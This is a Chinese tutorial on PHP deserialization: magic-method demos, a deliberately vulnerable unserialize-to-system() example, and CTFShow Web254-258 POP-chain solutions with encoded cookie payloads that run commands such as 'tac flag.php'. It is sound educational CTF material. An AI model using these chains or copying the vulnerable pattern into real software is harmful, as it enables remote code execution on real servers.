Day60:WEB攻防-PHP反序列化POP链构造魔术方法流程漏洞触发条件属性修改

目录

PHP-DEMO1-序列化和反序列化

序列化操作 - 即类型转换

序列化案例

PHP-DEMO2-魔术方法触发规则

__construct(): //当对象new的时候会自动调用

__destruct()://当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //把对象当作函数调用时触发

__toString(): //把对象当作字符串使用时触发

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。

__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数

__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。

__isset(): //在不可访问的属性(私有的)上调用isset()或empty()触发(isset和empty是一样的)

__unset(): //在不可访问的属性上使用unset()时触发

PHP-DEMO3-反序列化漏洞产生

PHP-CTFSHOW-POP触发链构造

Web254-对象引用执行逻辑

Web255-反序列化变量修改

Web256-反序列化参数修改

Web257-反序列化参数修改&对象调用逻辑

Web258-反序列化参数修改&对象调用逻辑&正则


知识点:

1、PHP-反序列化-应用&识别&函数

2、PHP-反序列化-魔术方法&触发规则

3、PHP-反序列化-联合漏洞&POP链构造

在实战情况下,是不需要知道这些具体分析的,都是利用工具去扫一些框架爆出的反序列话漏洞直接利用即可。学这些具体分析就是为了以后往漏洞挖掘方向发展或者打CTF比赛及面试会被问。

PHP-DEMO1-序列化和反序列化

序列化的原因:为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递,不可能整个椅子打包发送,这是非常不方便的,所以就要对椅子进行序列化处理,让椅子分成很多部分在一起打包发送,到目的后重新组装,也就是反序列化处理)

在PHP中,调用serialize()函数时,会将对象的属性进行序列化,但不会序列化对象的方法(函数)。

  1. 当调用serialize()函数时,它会将对象的属性转换为字符串表示,并存储在序列化的结果中。这样可以将对象保存在文件中、通过网络传输或在不同的请求之间传递。
  2. 然而,对象的方法(函数)不会被序列化。这是因为方法(函数)在PHP中通常是定义在类中,而类是对象的模板。当对象被反序列化时,PHP会根据对象所属的类重新创建对象,并将对象的属性值填充到相应的属性中。方法(函数)则是与类关联的,因此不需要被序列化和存储。
  3. 需要注意的是,当使用反序列化函数unserialize()将序列化的数据还原为对象时,被反序列化的类必须在反序列化之前先定义,否则会出现错误。因此,在进行反序列化操作时,确保对象所属的类已经被定义是非常重要的。

序列化操作 - 即类型转换

PHP & JavaEE & Python(见图)

序列化:对象转换为数组或字符串等格式  

反序列化:将数组或字符串等格式转换成对象

PHP对象转换为字符串格式

serialize()     //将对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

序列化案例

代码如下:

<?php
header("Content-type: text/html; charset=utf-8");


class user{
    public $name='xiaodi';
    public $sex='man';
    public $age=31;
}

$demo=new user();

$s=serialize($demo);//序列化

$u=unserialize($s);//反序列化

echo $s.'<br>';

var_dump($u);

对象序列化后的数据:对象转为字符串,便于传输数据

序列化数据反序列化:字符串格式数据转换为对象

PHP-DEMO2-魔术方法触发规则

常见的魔术方法:

  • __construct(): //当对象new的时候会自动调用
  • __destruct()://当对象被销毁时会被自动调用
  • __sleep(): //serialize()执行时被自动调用
  • __wakeup(): //unserialize()时会被自动调用
  • __invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
  • __toString(): //把类当作字符串使用时触发
  • __call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
  • __callStatic(): //在静态上下文中调用不可访问的方法时触发
  • __get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
  • __set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
  • __isset(): //在不可访问的属性上调用isset()或empty()触发
  • __unset(): //在不可访问的属性上使用unset()时触发
  • __set_state(),调用var_export()导出类时,此静态方法会被调用
  • __clone(),当对象复制完成时调用
  • __autoload(),尝试加载未定义的类
  • __debugInfo(),打印所需调试信息
     

__construct(): //当对象new的时候会自动调用

__destruct()://当对象被销毁时会被自动调用

代码如下:

<?php
header("Content-type: text/html; charset=utf-8");

//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
    public $name;
    public $age;
    public $string;
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
    }
    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
    /*
     * 当对象销毁时会调用此方法
     * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
     */
    function __destruct(){
       echo "__destruct 类执行完毕"."<br>";
    }
}

// 主动销毁
$test = new Test("xiaodi",31, 'Test String');
// 使用unset函数可以立即释放一个变量的内存,使其成为不可访问和不可用的状态。
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';

//程序结束自动销毁
$test = new test("xiaodi",31, 'Test String');
echo '第二种执行完毕'.'<br>';


?>

结果如下:

__sleep(): //serialize()执行时被自动调用

代码如下:

<?php

//__sleep():serialize之前被调用,可以指定要序列化的对象属性。
class Test{
    public $name;
    public $age;
    public $string;

    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
        $this->name = $name;
        $this->age = $age;
        $this->string = $string;
    }

    //  __sleep() :serialize之前被调用,可以指定要序列化的对象属性
    public function __sleep(){
        echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
        // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
        return array('name', 'age','string');
    }
}

$a = new Test("xiaodi",31, 'good teacher');
echo serialize($a);

?>

结果如下:

__wakeup(): //unserialize()时会被自动调用

代码如下:

<?php

//__wakeup:反序列化恢复对象之前调用该方法
class Test{
    public $sex;
    public $name;
    public $age;

    public function __construct($name, $age, $sex){
        echo "__construct被调用!<br>";
    }

    public function __wakeup(){
        echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
    }
}

$person = new Test('xiaodi',31,'男');
$a = serialize($person);
unserialize($a);

?>

结果如下:

__invoke(): //把对象当作函数调用时触发

代码如下:

<?php

//__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
class Test{
    // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
    public function __invoke($param1, $param2, $param3){
        echo "这是一个对象<br>";
        // var_dump函数是一个用于调试的函数,它将输出给定变量的类型、值和其他相关信息
        var_dump($param1,$param2,$param3);
    }
}

$a  = new Test();
//将对象当做函数调用 触发__invoke魔术方法
$a('xiaodi',31,'男');

?>

结果如下:

__toString(): //把对象当作字符串使用时触发

代码如下:

<?php 

//__toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
class Test
{
    public $variable = 'good is string';

    public function good(){
        echo $this->variable . '<br />';
    }

    // 在对象当做字符串的时候会被调用
    public function __toString(){
        return '__toString魔术方法被执行!';
    }
}

$a = new Test();
// 输出对象a就是把a当作字符串输出,触发toString()
echo $a;

?>

结果如下:

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。

代码如下:

<?php

//__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
class Test{

    public function good($number,$string){
        echo '存在good方法'.'<br>';
        echo $number.'---------'.$string.'<br>';
    }

    // 当调用类中不存在的方法时,就会调用__call();
    public function __call($method,$args){
        echo '不存在'.$method.'方法'.'<br>';
        var_dump($args);
    }
}

$a = new Test();
$a->good(1,'xiaodisec');
// 不存在xiaodi方法 触发__call魔术方法
$b = new Test();
$b->xiaodi(899,'no');

?>

结果如下:

__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数

代码如下:

<?php

//__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
class Test {
    public $n=1233234;

    // __get():访问不存在的成员变量时调用
    public function __get($name){
        echo '__get 不存在成员变量'.$name.'<br>';
    }
}

$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__get
echo $a->xiaodi;

?>

结果如下:

__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。

代码如下:

<?php

//__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
class Test{
    public $noway=0;

    // __set():设置对象不存在的属性或无法访问(私有)的属性时调用
    /* __set($name, $value)
     * 用来为私有成员属性设置的值
     * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
     * */

    public function __set($name,$value){
        echo '__set 不存在成员变量 '.$name.'<br>';
        echo '即将设置的值 '.$value."<br>";
        $this->noway=$value;
    }

    public function Get(){
        echo $this->noway;
    }
}

$a = new Test();
// 访问noway属性时调用,并设置值为899
$a->noway  = 123;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性xiaodi
$a->xiaodi = 31;
// 经过__set方法的设置noway的值为31
$a->Get();

?>

结果如下:

__isset(): //在不可访问的属性(私有的)上调用isset()或empty()触发(isset和empty是一样的)

代码如下:

<?php

//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
class Person{
    public $sex; //公共的
    private $name; //私有的
    private $age; //私有的

    public function __construct($name, $age, $sex){
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }

    // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
    public function __isset($content){
        echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
        echo "123<br>";
        return isset($this->$content);
    }
}

$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
// isset函数用于检测一个变量是否已经设置并且不为null。
echo isset($person->name),"<br>";  // 输出为123,1
echo empty($person->sex),"<br>"; //访问public,不会触发-isset()
// private 成员
echo isset($person->name),"<br>";
echo empty($person->age),"<br>";

?>

结果如下:

__unset(): //在不可访问的属性上使用unset()时触发

代码如下:

<?php

//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{
    public $sex;
    private $name;
    private $age;

    public function __construct($name, $age, $sex){
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }

    // __unset():销毁对象的某个属性时执行此函数
    public function __unset($content) {
        echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
        //echo isset($this->$content)."<br>";
    }
}

$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset

?>

结果如下:

总代码如下:

<?php
header("Content-type: text/html; charset=utf-8");

__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
//class Test{
//    public $name;
//    public $age;
//    public $string;
//    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
//    public function __construct($name, $age, $string){
//        echo "__construct 初始化"."<br>";
//    }
//    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
//    /*
//     * 当对象销毁时会调用此方法
//     * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
//     */
//    function __destruct(){
//       echo "__destruct 类执行完毕"."<br>";
//    }
//}
//
 主动销毁
//$test = new Test("xiaodi",31, 'Test String');
 使用unset函数可以立即释放一个变量的内存,使其成为不可访问和不可用的状态。
//unset($test);
//echo '第一种执行完毕'.'<br>';
//echo '----------------------<br>';
//
程序结束自动销毁
//$test = new test("xiaodi",31, 'Test String');
//echo '第二种执行完毕'.'<br>';

__sleep():serialize之前被调用,可以指定要序列化的对象属性。
//class Test{
//    public $name;
//    public $age;
//    public $string;
//
//    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
//    public function __construct($name, $age, $string){
//        echo "__construct 初始化"."<br>";
//        $this->name = $name;
//        $this->age = $age;
//        $this->string = $string;
//    }
//
//    //  __sleep() :serialize之前被调用,可以指定要序列化的对象属性
//    public function __sleep(){
//        echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
//        // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
//        return array('name', 'age','string');
//    }
//}
//
//$a = new Test("xiaodi",31, 'good teacher');
//echo serialize($a);


__wakeup:反序列化恢复对象之前调用该方法
//class Test{
//    public $sex;
//    public $name;
//    public $age;
//
//    public function __construct($name, $age, $sex){
//        echo "__construct被调用!<br>";
//    }
//
//    public function __wakeup(){
//        echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
//    }
//}
//
//$person = new Test('xiaodi',31,'男');
//$a = serialize($person);
//unserialize($a);


__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
//class Test{
//    // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
//    public function __invoke($param1, $param2, $param3){
//        echo "这是一个对象<br>";
//        // var_dump函数是一个用于调试的函数,它将输出给定变量的类型、值和其他相关信息
//        var_dump($param1,$param2,$param3);
//    }
//}
//
//$a  = new Test();
将对象当做函数调用 触发__invoke魔术方法
//$a('xiaodi',31,'男');


__toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
//class Test
//{
//    public $variable = 'good is string';
//
//    public function good(){
//        echo $this->variable . '<br />';
//    }
//
//    // 在对象当做字符串的时候会被调用
//    public function __toString(){
//        return '__toString魔术方法被执行!';
//    }
//}
//
//$a = new Test();
 输出对象a就是把a当作字符串输出,触发toString()
//echo $a;


__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
//class Test{
//
//    public function good($number,$string){
//        echo '存在good方法'.'<br>';
//        echo $number.'---------'.$string.'<br>';
//    }
//
//    // 当调用类中不存在的方法时,就会调用__call();
//    public function __call($method,$args){
//        echo '不存在'.$method.'方法'.'<br>';
//        var_dump($args);
//    }
//}
//
//$a = new Test();
//$a->good(1,'xiaodisec');
 不存在xiaodi方法 触发__call魔术方法
//$b = new Test();
//$b->xiaodi(899,'no');



__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
//class Test {
//    public $n=1233234;
//
//    // __get():访问不存在的成员变量时调用
//    public function __get($name){
//        echo '__get 不存在成员变量'.$name.'<br>';
//    }
//}
//
//$a = new Test();
 存在成员变量n,所以不调用__get
//echo $a->n;
//echo '<br>';
 不存在成员变量spaceman,所以调用__get
//echo $a->xiaodi;


__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
//class Test{
//    public $noway=0;
//
//    // __set():设置对象不存在的属性或无法访问(私有)的属性时调用
//    /* __set($name, $value)
//     * 用来为私有成员属性设置的值
//     * 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
//     * */
//
//    public function __set($name,$value){
//        echo '__set 不存在成员变量 '.$name.'<br>';
//        echo '即将设置的值 '.$value."<br>";
//        $this->noway=$value;
//    }
//
//    public function Get(){
//        echo $this->noway;
//    }
//}
//
//$a = new Test();
 访问noway属性时调用,并设置值为899
//$a->noway  = 123;
 经过__set方法的设置noway的值为899
//$a->Get();
//echo '<br>';
 设置对象不存在的属性xiaodi
//$a->xiaodi = 31;
 经过__set方法的设置noway的值为31
//$a->Get();



__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
//class Person{
//    public $sex; //公共的
//    private $name; //私有的
//    private $age; //私有的
//
//    public function __construct($name, $age, $sex){
//        $this->name = $name;
//        $this->age = $age;
//        $this->sex = $sex;
//    }
//
//    // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
//    public function __isset($content){
//        echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
//        echo "123<br>";
//        return isset($this->$content);
//    }
//}
//
//$person = new Person("xiaodi", 31,'男');
 public 成员
//echo ($person->sex),"<br>";
 isset函数用于检测一个变量是否已经设置并且不为null。
//echo isset($person->name),"<br>";  // 输出为123,1
//echo empty($person->sex),"<br>"; //访问public,不会触发-isset()
 private 成员
//echo isset($person->name),"<br>";
//echo empty($person->age),"<br>";


__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
//class Person{
//    public $sex;
//    private $name;
//    private $age;
//
//    public function __construct($name, $age, $sex){
//        $this->name = $name;
//        $this->age = $age;
//        $this->sex = $sex;
//    }
//
//    // __unset():销毁对象的某个属性时执行此函数
//    public function __unset($content) {
//        echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
//        //echo isset($this->$content)."<br>";
//    }
//}
//
//$person = new Person("xiaodi", 31,"男"); // 初始赋值
//unset($person->sex);//不调用 属性共有
//unset($person->name);//调用 属性私有 触发__unset
//unset($person->age);//调用 属性私有 触发__unset






?>

PHP-DEMO3-反序列化漏洞产生

漏洞原理:

  • 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
  • 在反序列化的过程中自动触发了某些魔术方法。
  • 当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

测试代码:

<?php

class B{
    public $cmd='ipconfig';
    public function __destruct(){
        system($this->cmd);
    }
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

?>

构造POP链,在构造对象时,只需要考虑成员属性(变量)即可

<?php

class B{
    public $cmd = 'ver';
    }

$x = new B();
echo serialize($x);

?>

利用paylaod:?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

也可以跟换别的命令:

总体代码如下:

<?php
class B{
    public $cmd='ipconfig';
    public function __destruct(){  // 对象销毁调用,即该脚本<?php执行结束时,触发
        system($this->cmd);
    }
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);


//?x=O:1:"B":0:{}
//?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

//POP链构造

//class B{
//    public $cmd = 'ver';  // 值我们自己规定,序列化后就是我们的值
//    }
//
//$x = new B();
//echo serialize($x);

//?x=O:1:"B":0:{}
//?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

?>

PHP-CTFSHOW-POP触发链构造

POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

反序列化常见起点:

反序列化常见跳板:

反序列化常见重点:

pop链构造核心:代码中有用的留下,没用的删掉

Web254-对象引用执行逻辑

payload:username=xxxxxx&password=xxxxxx

Web255-反序列化变量修改

PHP在线执行:https://www.bejson.com/runcode/php/

根据验证逻辑,使用正确账号密码,序列化对象ctfShowUser , isvip = True;

// POP链CODE:
// 1、不修改代码的用户密码
<?php
class ctfShowUser{
    public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

生成对象的反序列化

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

URL解码一下:

O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

再login()验证逻辑中,username,password 是从Get请求中提取的值与对象里的值做比对

POP链CODE:
2、修改代码的用户密码
<?php
class ctfShowUser{
    public $username='test';
    public $password='test123';
    public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

Get:username=test&password=test123

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A7%3A%22test123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

URL解码:

O:11:"ctfShowUser":3:{s:8:"username";s:4:"test";s:8:"password";s:7:"test123";s:5:"isVip";b:1;}

补充一下:

  • error_reporting(0):这是一个PHP错误报告级别设置的语句。通过将参数设置为0,即禁用错误报告,PHP将不会显示任何错误信息。这在某些情况下可能是有用的,例如在生产环境中隐藏敏感信息或减少不必要的输出。
  • highlight_file(__FILE__):这是一个PHP函数调用,用于将当前文件的源代码以语法高亮的形式输出到浏览器。__FILE__ 是一个魔术常量,表示当前所执行的文件的绝对路径。highlight_file() 函数将读取该文件的内容,并使用颜色突出显示代码的不同部分,以增强可读性。

Web256-反序列化参数修改

POP链CODE:
<?php
class ctfShowUser{
    public $username='test';
    public $password='test1';
    public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

GET:username=test&password=test1

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22test1%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

Web257-反序列化参数修改&对象调用逻辑

思路:敏锐发现 backDoor.getInfo() 由RCE,但是验证逻辑无法调用,观察到魔术方法 __destruct() 可以调用 getInfo() 函数。

当我们说PHP是一种弱类型语言时,意味着PHP在变量的类型上相对灵活,不需要在声明变量时显式指定其类型。以下是关于PHP弱类型的一些特点:

  1. 隐式类型转换:PHP可以自动进行类型转换,例如将字符串自动转换为数值类型,或将布尔值自动转换为整数。这样的隐式类型转换可以在一定程度上简化代码,但也可能导致意外的结果。
  2. 动态类型:PHP变量的类型可以在运行时根据赋值操作而改变。例如,一个变量可以先存储一个整数值,然后再存储一个字符串值,而无需显式声明类型。
  3. 弱类型比较:在PHP中,可以进行不同类型之间的比较操作,例如将一个字符串与一个整数进行比较。这种比较会自动进行类型转换,根据具体情况确定比较结果。
  4. 隐式类型转换的注意事项:尽管弱类型可以带来便利,但也需要注意一些潜在的问题。隐式的类型转换可能导致错误或意外的结果,尤其是在处理复杂的逻辑和算术运算时。

也就是说类里的数据类型不是严格的,那么可以构造 backDoor 类对象作为 ctfshowUser 的成员变量,当代码逻辑执行完后,销毁 ctfShowUser 后就会调用到 backDoor.getInfo()方法。

// POP链CODE:
<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
echo urlencode(serialize(new ctfShowUser));
?>

序列化数据:

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

URL解码

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}

Web258-反序列化参数修改&对象调用逻辑&正则

// POP链CODE:
<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code="system('tac flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>

GET:username=123&password=123

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/484240.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

高中信息技术教资刷题笔记_选择题篇

1.信息技术基础 位与字节的换算 模2除法运算 网页保存 进制之间的计算 教你快速学会二进制、十进制、十六进制之间的转换 - 知乎 (zhihu.com) 原码、补码、反码计算 物联网技术 位运算 按位与&#xff1a;同位置为1&#xff0c;则为1&#xff0c;其他都是0按位或&#xff1a;有…

2024年产品品牌化深度分析:消费者心理与品牌化、产品质量的权衡

随着市场竞争的加剧和消费者需求的多样化&#xff0c;产品品牌化已经成为企业不可或缺的战略选择。在2024年&#xff0c;当消费者面对众多商品时&#xff0c;品牌化与产品质量之间的权衡成为了消费者决策的重要因素。那么&#xff0c;在消费者心理中&#xff0c;品牌化重要还是…

Docker 之 数据卷

目录 1. 数据卷是什么 1.1 运行一个带有容器卷存储功能的容器实例 2.能干什么 3. 容器卷案例 3.1 宿主机vs容器之间映射添加容器卷 3.1.1 命令添加&#xff1a; 3.1.2 查看数据卷是否挂载成功 3.1.3 容器和宿主机之间数据共享 3.2 读写规则映射添加说明 3.2.1 读写&…

详解:JS异步解决方案之回调函数,及其弊端

「异步编程」是前端工程师日常开发中经常会用到的技术&#xff0c;异步的实现有好几种方式&#xff0c;各有利弊&#xff0c;本篇先讲通过回调来实现来异步 。 一、同步和异步 同步编程和异步编程是两种不同的编程方式。 同步编程是指按照代码的顺序执行&#xff0c;每一行代…

前端小卡片:vue3路由是什么,有什么作用,该如何配置?

在 Vue 3 中&#xff0c;路由的处理使用了 Vue Router&#xff0c;它是官方提供的路由管理器。Vue Router 用于实现单页应用中的路由功能&#xff0c;通过将不同的 URL 映射到对应的组件&#xff0c;实现页面之间的切换和导航。 Vue Router 的作用包括&#xff1a; 实现页面之…

Python并发编程:线程和多线程的使用

前面的文章&#xff0c;我们讲了什么Python的许多基础知识&#xff0c;现在我们开始对Python并发编程进行学习。我们将探讨 Python 中线程和多线程的使用。帮助大家更好地理解如何使用这种技术。 目录 1. 线程&#xff08;Threads&#xff09; 1.1 Python 中的线程工作原理 …

《妈妈是什么》笔记(五) 一切负面经验都必须转化为正面角度

经典摘录 我的引导原则是&#xff0c;一切负面经验都必须转化为正面角度。我们不能选择孩子的经历&#xff0c;但是可以帮助孩子选择如何看待这些事情&#xff0c;以及如何积极地利用这些事情&#xff0c;锤炼自己的社会交往能力。 比如&#xff0c; 别人&#xff08;老师、同…

正则表达式具体用法大全~持续更新

# 正则表达式&#xff1a; ## 单字符匹配&#xff1a; python # 匹配某个字符串&#xff1a; # text "abc" # ret re.match(b,text) # print(ret.group()) # 点&#xff08;.&#xff09;&#xff1a;匹配任意的字符(除了\n)&#xff1a; # text "\nabc&quo…

Navicat 干货 | 探索 PostgreSQL 的外部数据包装器和统计函数

PostgreSQL 因其稳定性和可扩展性而广受青睐&#xff0c;为开发人员和数据管理员提供了许多有用的函数。在这些函数中&#xff0c;file_fdw_handler、file_fdw_validator、pg_stat_statements、pg_stat_statements_info 以及 pg_stat_statements_reset 是其中的重要函数&#x…

记一次由于buff/cache导致服务器内存爆满的问题

目录 前言 复现 登录服务器查看占用内存进程排行 先了解一下什么是buff/cache&#xff1f; 尝试释放buffer/cache /proc/sys/vm/drop_caches dirty_ratio dirty_background_ratio dirty_writeback_centisecs dirty_expire_centisecs drop_caches page-cluster swap…

2024年计算机三级|数据库习题整理(自用④)

所有题目均来自【三级数据库技术基础题库】&#xff0c;此博客仅为知识点的补充&#xff0c;用于自主的回顾学习&#xff0c;仅供参考。 选择题 知识点&#xff1a;数据库文件 透明性分级&#xff1a; ①分片透明性 > ②位置透明性 > ③局部数据模型透明性 数据仓库数据…

vector类详解及重要函数实现

&#x1fa90;&#x1fa90;&#x1fa90;欢迎来到程序员餐厅&#x1f4ab;&#x1f4ab;&#x1f4ab; 今日主菜&#xff1a;vector类 主厨&#xff1a;邪王真眼 所属专栏&#xff1a;c专栏 主厨的主页&#xff1a;Chef‘s blog 坚持下去&#xff0c;成功不是目的&a…

阿里二面:谈谈ThreadLocal的内存泄漏问题?问麻了。。。。

引言 ThreadLocal在Java多线程编程中扮演着重要的角色&#xff0c;它提供了一种线程局部存储机制&#xff0c;允许每个线程拥有独立的变量副本&#xff0c;从而有效地避免了线程间的数据共享冲突。ThreadLocal的主要用途在于&#xff0c;当需要为每个线程维护一个独立的上下文…

基于Python3的数据结构与算法 - 20 AVL的旋转

一、二叉搜索树的效率 平均情况下&#xff0c;二叉搜索树进行搜索的时间复杂度为O(lgn)。最坏情况下&#xff0c;二叉搜索树可能非常偏斜。&#xff08;如下图所示&#xff09;解决方法&#xff1a; 随机化插入AVL树 二、AVL树 AVL树是一棵自平衡的二叉树AVL树具有以下性质&…

自动驾驶感知新范式——BEV感知经典论文总结和对比(一)

自动驾驶感知新范式——BEV感知经典论文总结和对比&#xff08;一&#xff09; 博主之前的博客大多围绕自动驾驶视觉感知中的视觉深度估计&#xff08;depth estimation&#xff09;展开&#xff0c;包括单目针孔、单目鱼眼、环视针孔、环视鱼眼等&#xff0c;目标是只依赖于视…

YOLOv8:Roboflow公开数据集训练模型

Roboflow公开数据集 Roboflow是一个提供计算机视觉数据集管理和处理工具的平台。虽然Roboflow本身并不创建或策划公开数据集&#xff0c;但它提供了一系列功能&#xff0c;帮助用户组织、预处理、增强和导出计算机视觉数据集。 官方网站&#xff1a;https://universe.roboflow…

【Leetcode每日一题】 动态规划 - 使用最小花费爬楼梯(难度⭐)(41)

1. 题目解析 题目链接&#xff1a;746. 使用最小花费爬楼梯 这个问题的理解其实相当简单&#xff0c;只需看一下示例&#xff0c;基本就能明白其含义了。 2.算法原理 一、设定状态表 为了解决这个问题&#xff0c;我们首先要明确一个“状态表”。这个状态表其实就是一个记录…

【蓝桥杯知识点】二分查找(超超超详细,再也不会错啦)

考完了计算机三级&#xff0c;蓝桥杯和数学建模的学习也要恢复常态啦&#xff01;今天&#xff0c;我们来了解一种相对简单但容易出错的算法——二分查找。这里还有一些小方法让二分查找没有那么容易出错&#xff0c;开始学习吧啦啦啦&#xff01; PS&#xff1a; 文章主要参考…

设计模式学习笔记 - 设计模式与范式 - 创建型:7.原型模式:如何快速地clone一个HashMap散列表

